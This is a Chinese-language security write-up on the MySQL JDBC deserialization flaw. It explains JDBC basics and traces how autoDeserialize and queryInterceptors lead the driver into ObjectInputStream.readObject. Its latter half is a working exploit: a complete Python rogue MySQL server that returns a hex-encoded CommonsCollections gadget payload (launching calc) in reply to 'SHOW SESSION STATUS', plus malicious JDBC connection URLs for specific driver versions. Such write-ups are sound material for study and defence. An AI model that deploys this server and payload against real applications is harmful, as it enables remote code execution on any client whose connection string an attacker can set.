Mysql-Jdbc Deserialization

JDBC基础:

JDBC 对数据库的操作一般有以下步骤:

1、导入包:要求您包含包含数据库编程所需的 JDBC 类的软件包。通常,使用 import java.sql.* 就足够了。

2、注册 JDBC 驱动程序:要求您初始化驱动程序,以便您可以打开与数据库的通信通道。

3、建立连接:需要使用 * DriverManager.getConnection ()* 方法来创建一个 Connection 对象,该对象表示与数据库服务器的物理连接。要创建新的数据库,在准备数据库 URL 时,无需提供任何数据库名称,如下面的示例所述。

4、执行查询:需要使用 Statement 类型的对象来构建 SQL 语句并将其提交到数据库。

5、清理:需要显式关闭所有数据库资源,而不是依赖 JVM 的垃圾回收。

JDBC-Demo:


package jdbc_rce;  
  
import sun.net.smtp.SmtpClient;  
  
import java.sql.*;  
  
public class JDBC_Test {  
    // 数据库驱动和url  
  
  
    static final String JDBC_drive = "com.mysql.jdbc.Driver";  
  
    static final String url =  "jdbc:mysql://127.0.0.1/test01?serverTimezone=Asia/Shanghai&useSSL=false";  
  
    // 数据库凭证  
  
    static final String password =  "harder";  
    static final String username = "root";  
  
    public static void main(String[] args) throws ClassNotFoundException, SQLException {  
  
        Connection conn = null;  
        Statement stmt = null;  
        // 步骤2注册jdbc驱动程序  
  
        Class.forName("com.mysql.cj.jdbc.Driver");  
  
        // 步骤3建立连接  
        conn = DriverManager.getConnection(url,username,password);  
  
        // 步骤4执行查询  
  
        stmt = conn.createStatement();  
  
        String sql = "CREATE DATABASE POC1";  
        stmt.executeUpdate(sql);  
        if (stmt!=null){  
            stmt.close();  
        }  
        if (conn !=null){  
            conn.close();  
        }  
    }  
  
}

数据库POC1创建成功

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| challenges         |
| cms10              |
| eyoucms            |
| mysql              |
| performance_schema |
| poc1               |
| security           |
| shop               |
| students           |
| sys                |
| test01             |
| users              |
+--------------------+
13 rows in set (0.00 sec)

这一个 MySQL-JDBC 的漏洞简单来说就是 MySQL 对服务器的请求过程利用

如果攻击者能够控制 JDBC 连接设置项,那么就可以通过设置其指向恶意 MySQL 服务器进行 ObjectInputStream.readObject() 的反序列化攻击从而 RCE。

具体点说,就是通过 JDBC 连接 MySQL 服务端时,会有几个内置的 SQL 查询语句要执行,其中两个查询的结果集在 MySQL 客户端被处理时会调用 ObjectInputStream.readObject() 进行反序列化操作。如果攻击者搭建恶意 MySQL 服务器来控制这两个查询的结果集,并且攻击者可以控制 JDBC 连接设置项,那么就能触发 MySQL JDBC 客户端反序列化漏洞。

可被利用的两条查询语句:

SHOW SESSION STATUS

SHOW COLLATION

前置知识

  • BLOB为二进制形式的长文本数据
  • BIT类型(Bit数据类型用来存储bit值)数据
  • queryInterceptors:一个逗号分割的Class列表(实现了com.mysql.cj.interceptors.QueryInterceptor接口的Class),在Query”之间”进行执行来影响结果。(效果上来看是在Query执行前后各插入一次操作)
  • autoDeserialize:自动检测与反序列化存在BLOB字段中的对象

链子分析

CC 链作为命令执行的部分,也就是说需要我们找一个 JDBC 合理的入口类,并且这个入口类需要在 JDBC 连接过程中被自动执行,最终是找到了这样一个类 com.mysql.cj.jdbc.result.ResultSetImpl,它的 getObject() 方法调用了 readObject() 方法



public Object getObject(int columnIndex) throws SQLException {  
    checkRowPos();  
    checkColumnBounds(columnIndex);  
  
    int columnIndexMinusOne = columnIndex - 1;  
  
    // we can't completely rely on code below because primitives have default values for null (e.g. int->0)  
    if (this.thisRow.getNull(columnIndexMinusOne)) {  
        return null;  
    }  
  
    Field field = this.columnDefinition.getFields()[columnIndexMinusOne];  
    switch (field.getMysqlType()) {  
        case BIT:  
            // TODO Field sets binary and blob flags if the length of BIT field is > 1; is it needed at all?  
            if (field.isBinary() || field.isBlob()) {  
                byte[] data = getBytes(columnIndex);  
  
                if (this.connection.getPropertySet().getBooleanProperty(PropertyKey.autoDeserialize).getValue()) {  
                    Object obj = data;  
  
                    if ((data != null) && (data.length >= 2)) {  
                        if ((data[0] == -84) && (data[1] == -19)) {  
                            // Serialized object?  
                            try {  
                                ByteArrayInputStream bytesIn = new ByteArrayInputStream(data);  
                                ObjectInputStream objIn = new ObjectInputStream(bytesIn);  
                                obj = objIn.readObject();  
                                objIn.close();  
                                bytesIn.close();  
                            } catch (ClassNotFoundException cnfe) {  
                                throw SQLError.createSQLException(Messages.getString("ResultSet.Class_not_found___91") + cnfe.toString()  
                                        + Messages.getString("ResultSet._while_reading_serialized_object_92"), getExceptionInterceptor());  
                            } catch (IOException ex) {  
                                obj = data; // not serialized?  
                            }  
                        } else {  
                            return getString(columnIndex);  
                        }  
                    }  
  
                    return obj;  
                }  
  
                return data;  
            }  
  
            return field.isSingleBit() ? Boolean.valueOf(getBoolean(columnIndex)) : getBytes(columnIndex);  
  
        case BOOLEAN:  
            return Boolean.valueOf(getBoolean(columnIndex));  
  
        case TINYINT:  
            return Integer.valueOf(getByte(columnIndex));  
  
        case TINYINT_UNSIGNED:  
        case SMALLINT:  
        case SMALLINT_UNSIGNED:  
        case MEDIUMINT:  
        case MEDIUMINT_UNSIGNED:  
        case INT:  
            return Integer.valueOf(getInt(columnIndex));  
  
        case INT_UNSIGNED:  
        case BIGINT:  
            return Long.valueOf(getLong(columnIndex));  
  
        case BIGINT_UNSIGNED:  
            return getBigInteger(columnIndex);  
  
        case DECIMAL:  
        case DECIMAL_UNSIGNED:  
            String stringVal = getString(columnIndex);  
  
            if (stringVal != null) {  
                if (stringVal.length() == 0) {  
                    return new BigDecimal(0);  
                }  
  
                try {  
                    return new BigDecimal(stringVal);  
                } catch (NumberFormatException ex) {  
                    throw SQLError.createSQLException(  
                            Messages.getString("ResultSet.Bad_format_for_BigDecimal", new Object[] { stringVal, Integer.valueOf(columnIndex) }),  
                            MysqlErrorNumbers.SQL_STATE_ILLEGAL_ARGUMENT, getExceptionInterceptor());  
                }  
            }  
            return null;  
  
        case FLOAT:  
        case FLOAT_UNSIGNED:  
            return new Float(getFloat(columnIndex));  
  
        case DOUBLE:  
        case DOUBLE_UNSIGNED:  
            return new Double(getDouble(columnIndex));  
  
        case CHAR:  
        case ENUM:  
        case SET:  
        case VARCHAR:  
        case TINYTEXT:  
            return getString(columnIndex);  
  
        case TEXT:  
        case MEDIUMTEXT:  
        case LONGTEXT:  
        case JSON:  
            return getStringForClob(columnIndex);  
  
        case GEOMETRY:  
            return getBytes(columnIndex);  
  
        case BINARY:  
        case VARBINARY:  
        case TINYBLOB:  
        case MEDIUMBLOB:  
        case LONGBLOB:  
        case BLOB:  
            if (field.isBinary() || field.isBlob()) {  
                byte[] data = getBytes(columnIndex);  
  
                if (this.connection.getPropertySet().getBooleanProperty(PropertyKey.autoDeserialize).getValue()) {  
                    Object obj = data;  
  
                    if ((data != null) && (data.length >= 2)) {  
                        if ((data[0] == -84) && (data[1] == -19)) {  
                            // Serialized object?  
                            try {  
                                ByteArrayInputStream bytesIn = new ByteArrayInputStream(data);  
                                ObjectInputStream objIn = new ObjectInputStream(bytesIn);  
                                obj = objIn.readObject();  
                                objIn.close();  
                                bytesIn.close();  
                            } catch (ClassNotFoundException cnfe) {  
                                throw SQLError.createSQLException(Messages.getString("ResultSet.Class_not_found___91") + cnfe.toString()  
                                        + Messages.getString("ResultSet._while_reading_serialized_object_92"), getExceptionInterceptor());  
                            } catch (IOException ex) {  
                                obj = data; // not serialized?  
                            }  
                        } else {  
                            return getString(columnIndex);  
                        }  
                    }  
  
                    return obj;  
                }  
  
                return data;  
            }  
  
            return getBytes(columnIndex);  
  
        case YEAR:  
            return this.yearIsDateType ? getDate(columnIndex) : Short.valueOf(getShort(columnIndex));  
  
        case DATE:  
            return getDate(columnIndex);  
  
        case TIME:  
            return getTime(columnIndex);  
  
        case TIMESTAMP:  
        case DATETIME:  
            return getTimestamp(columnIndex);  
  
        default:  
            return getString(columnIndex);  
    }  
}

这个代码中首先在这里获得数据类型

switch (field.getMysqlType())

然后如果数据类型为序列化数据,则进行反序列化

我们查看哪里调用了getObject函数,看看调用栈

发现类resultSeToMap中调用了
继续向上找谁调用了resultSetToMap

private void populateMapWithSessionStatusValues(Map<String, String> toPopulate) {  
    java.sql.Statement stmt = null;  
    java.sql.ResultSet rs = null;  
  
    try {  
        try {  
            toPopulate.clear();  
  
            stmt = this.connection.createStatement();  
            rs = stmt.executeQuery("SHOW SESSION STATUS");  
            ResultSetUtil.resultSetToMap(toPopulate, rs);  
        } finally {  
            if (rs != null) {  
                rs.close();  
            }  
  
            if (stmt != null) {  
                stmt.close();  
            }  
        }  
    } catch (SQLException ex) {  
        throw ExceptionFactory.createException(ex.getMessage(), ex);  
    }  
}

然后我们看到preProcess会调用populateMapWithSessionStatusValues

public <T extends Resultset> T preProcess(Supplier<String> sql, Query interceptedQuery) {  
  
    populateMapWithSessionStatusValues(this.preExecuteValues);  
  
    return null; // we don't actually modify a result set  
}

总结

那么整条链子就很清晰了 从MySQL服务端获取到字节码数据后,判断autoDeserialize是否为true、字节码数据是否为序列化对象等,最后调用readObject()触发反序列化漏洞

在mysql的getconnect过程中会去触发一系列函数从而触发我们手动配置的queryInterceptors(可以类比于一个拦截查询器)进行一个SQL Query的查询,其中在以上代码分析当中可以看出如果查询拦截器不为空,则调用的查询拦截器的preProcess()​方法,然后进入到preProcess()​该方法后执行了 SHOW SESSION STATUS​ ,然后把返回来的结果(此时这个sql查询是已经在恶意的mysql中返回的结果),调用了resultSetToMap()​方法然后把返回的结果传进去,该函数中就调用了触发反序列化漏洞的getObject()函数(注意columnIndex为2处才能走到反序列化的代码逻辑,因为为1则直接返回null)

MySQL JDBC客户端在开始连接MySQL服务端时,会执行一些如set autocommit=1​ 等SQL Query,其中会触发我们所配置的queryInterceptors中的preProcess()函数,在该函数逻辑中、当MySQL字段类型为BLOB时,会对数据进行反序列化操作,因此只要保证第1或第2字段为BLOB类型且存储了恶意序列化数据即可触发反序列化漏洞。

在远端启动fake-mysql-server:

# -*-coding:utf-8-*-  
import socket  
import binascii  
import os  
  
greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"  
response_ok_data="0700000200000002000000"  
  
def receive_data(conn):  
    data = conn.recv(1024)  
    print("[*] Receiveing the package : {}".format(data))  
    return str(data).lower()  
  
def send_data(conn,data):  
    print("[*] Sending the package : {}".format(data))  
    conn.send(binascii.a2b_hex(data))  
  
def get_payload_content():  
    #file文件的内容使用ysoserial生成的 使用规则:java -jar ysoserial [Gadget] [command] > payload  
    file= r'payload'  
    if os.path.isfile(file):  
        with open(file, 'rb') as f:  
            payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')  
        print("open successs")  
  
    else:  
        print("open false")  
        #calc  
        payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'  
    return payload_content  
  
# 主要逻辑  
def run():  
  
    while 1:  
        conn, addr = sk.accept()  
        print("Connection come from {}:{}".format(addr[0],addr[1]))  
  
        # 1.先发送第一个 问候报文  
        send_data(conn,greeting_data)  
  
        while True:  
            # 登录认证过程模拟  1.客户端发送request login报文 2.服务端响应response_ok  
            receive_data(conn)  
            send_data(conn,response_ok_data)  
  
            #其他过程  
            data=receive_data(conn)  
            #查询一些配置信息,其中会发送自己的 版本号  
            if "session.auto_increment_increment" in data:  
                _payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'  
                send_data(conn,_payload)  
                data=receive_data(conn)  
            elif "show warnings" in data:  
                _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'  
                send_data(conn, _payload)  
                data = receive_data(conn)  
            if "set names" in data:  
                send_data(conn, response_ok_data)  
                data = receive_data(conn)  
            if "set character_set_results" in data:  
                send_data(conn, response_ok_data)  
                data = receive_data(conn)  
            if "show session status" in data:  
                mysql_data = '0100000102'  
                mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'  
                mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'  
                # 为什么我加了EOF Packet 就无法正常运行呢??  
                # 获取payload  
                payload_content=get_payload_content()  
                # 计算payload长度  
                payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)  
                payload_length_hex = payload_length[2:4] + payload_length[0:2]  
                # 计算数据包长度  
                data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)  
                data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]  
                mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex  
                mysql_data += str(payload_content)  
                mysql_data += '07000005fe000022000100'  
                send_data(conn, mysql_data)  
                data = receive_data(conn)  
            if "show warnings" in data:  
                payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'  
                send_data(conn, payload)  
            break  
  
  
if __name__ == '__main__':  
    HOST ='0.0.0.0'  
    PORT = 3306  
  
    sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
    #当socket关闭后,本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间  
    sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)  
    sk.bind((HOST, PORT))  
    sk.listen(1)  
  
    print("start fake mysql server listening on {}:{}".format(HOST,PORT))  
  
    run()

(1) MYSQL5.1.41及以上: 不可用

(2) MYSQL5.1.29-5.1.40:

jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&amp;autoDeserialize=true&amp;user=yso_JRE8u20_calc

(3) MYSQL5.1.28-5.1.19:

jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&amp;user=yso_JRE8u20_calc

(4) MYSQL5.1.18以下的5.1.x版本: 不可用

(5) MYSQL5.0.x版本: 不可用

参考:
https://tttang.com/archive/1877/#toc_8020

https://forum.butian.net/share/2872

https://github.com/fnmsd/MySQL_Fake_Server

https://github.com/rmb122/rogue_mysql_server